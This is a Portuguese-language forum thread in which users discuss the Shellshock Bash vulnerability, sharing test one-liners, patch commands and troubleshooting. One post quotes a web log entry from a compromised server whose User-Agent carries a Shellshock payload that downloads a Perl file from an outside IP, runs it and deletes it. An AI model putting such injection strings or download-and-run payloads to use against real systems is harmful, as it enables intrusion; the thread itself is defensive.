Proteja seus servidores contra o Shellshock/Bashbug agora

[AngelCosta]

Um bug encontrado na interface de comandos Bash pode comprometer a segurança de servidores e sistemas baseados em Linux e Unix e deixá-los vulneráveis a ataques. O problema, chamado de Shellshock, é considerado severo e comparado ao Heartbleed, pior falha já detectada na Internet.

Uma maneira de detectar se o seu sistema está comprometido é acessar o servidor e digitar:

env VAR='() { :;};echo Bash com problemas!' bash -c "echo Bash OK"

Se o resultado for apenas Bash OK, você está livre deste risco.

Já, se o resultado for Bash com problemas, a melhor solução é atualizar o seu sistema:

Debian & Ubuntu:

sudo apt-get update && sudo apt-get install --only-upgrade bash

Centos, Fedora & Red Hat:

sudo yum update bash

Para mais detalhes: CVE-2014-6271 e CVE-2014-7169.

Sugestão de correção vinda do blog da Digital Ocean.

Leia a notícia no blog do Portal do Host

[Alexandre Lopes]

 

Um bug encontrado na interface de comandos Bash pode comprometer a segurança de servidores e sistemas baseados em Linux e Unix e deixá-los vulneráveis a ataques. O problema, chamado de Shellshock, é considerado severo e comparado ao Heartbleed, pior falha já detectada na Internet.

Uma maneira de detectar se o seu sistema está comprometido é acessar o servidor e digitar:

env VAR='() { :;};echo Bash com problemas!' bash -c "echo Bash OK"

Se o resultado for apenas Bash OK, você está livre deste risco.

Já, se o resultado for Bash com problemas, a melhor solução é atualizar o seu sistema:

Debian & Ubuntu:

sudo apt-get update && sudo apt-get install --only-upgrade bash

Centos, Fedora & Red Hat:

sudo yum update bash

Para mais detalhes: CVE-2014-6271 e CVE-2014-7169.

Sugestão de correção vinda do blog da Digital Ocean.

Leia a notícia no blog do Portal do Host

 

Muito bom! aqui parece estar tudo ok.  ^_^

[EuMarcos]

Calma, em alguns dias terá que realizar uma nova atualização, esta não é uma 'solução' final.

[AngelCosta]

Calma, em alguns dias terá que realizar uma nova atualização, esta não é uma 'solução' final.

 

Isso mesmo, isto e apenas uma soluçao paliativa ate a resoluçao do problema sair.

[rubensk]

O fato de ter que corrigir novamente em breve não muda a importância de corrigir já o que se pode corrigir. Para o mundo host esse bug é muito sério. 

[Hudson Silva]

Verdade, está passando várias reportagem na TV por conta disso.

[Alexandre Duran]

Teste antes para saber se seu BASH está vulnerável:

env x='() { :;}; echo vulnerable' bash -c "echo hello"

e

 

for i in `type -a bash| egrep -o "/.*"`; do /bin/echo -n "$i " ; x="() { :; };t=un" $i -c 'echo  is ${t}safe' 2>/dev/null; done

[Fernando Rafs]

Estou com um servidor com Centos 5.10 (Final) e com a versão do bash 3.2-32.el5_9.1 (após yum). Outros 2 servidores com a mesma versão centos está tudo Ok, porém como estes são 64Bits foi instalada outra versão do bash.

 

Após atualização via YUM, efetuo um novo teste fornecido pela RedHat: https://access.redhat.com/articles/1200223

env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"

Mas o servidor ainda retorna:

vulnerable
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)'
bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable'
bash: error importing function definition for `BASH_FUNC_x'
test

Este servidor inclusive possui atualizações automáticas via Ksplice Uptrack, mesmo assim nada.

 

Alguém encontrou o mesmo problema?

 

ATUALIZAÇÃO! Solicitei ao DC uma ajuda na atualização para a versão 3.2-33.el5_10.4 já que pelo YUM esta versão na aparecia nem rezando. Após efetuarem a atualização para a versão 3.2-33.el5_10.4 problema resolvido:

 

Depois da atualização:

# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test

# cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
date
cat: /tmp/echo: No such file or directory

Descobri também em um outro servidor (não produção/testes) como eles estão fazendo para inserir o arquivo no ataque:

 

Exemplo no servidor explorado:

173.45.100.18 - - [27/Sep/2014:14:27:14 -0300] "GET /cgi-bin/hi HTTP/1.0" 302 205 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

Observem que o arquivo 'jurat' foi inserido no diretório 'tmp'. Tenho inclusive uma cópia do mesmo para análise que copiei antes de remover.

 

O exploit ficou rodando via '/usr/sbin/atd', o que levou a carga nas alturas.

 

Não vou postar o conteúdo do exploit aqui para evitar que engraçadinhos o utilizem, mas se todos acharem que é necessário posto aqui sem problema.

 

Isto leva a crer que tem muita gente sendo explorado sem saber, por isto verifiquem seus diretórios temporários, principalmente a procura de nomes de arquivos como jurat, jurat.1, jurat2., etc...

 

Observação: O que estou achando estranho no exploit é que alguns trechos estão em português, parecendo que foi criado ou adaptado por algum Brasileiro. Exemplo de alguns trechos em português: porta, versao, servidor, etc...

[Matheus Chaves]

Essa falha vai durar alguns anos pra ser totalmente corrigida (experiência profissional), não vão pensando que só atualizando o sistema vão ficar protegidos, fiquem de olho nos logs, tenham um fail2ban bem configurado pra dropar quem tenta explorar a falha.

 

Lembrando que o primeiro a reportar sobre essa falha fui eu, na mesma sessão: 

 

Para 0day não existe patch.

[AngelCosta]

Essa falha vai durar alguns anos pra ser totalmente corrigida (experiência profissional), não vão pensando que só atualizando o sistema vão ficar protegidos, fiquem de olho nos logs, tenham um fail2ban bem configurado pra dropar quem tenta explorar a falha.

 

Lembrando que o primeiro a reportar sobre essa falha fui eu, na mesma sessão: 

 

Para 0day não existe patch.

 

Vc tem duas contas no forum Mateus?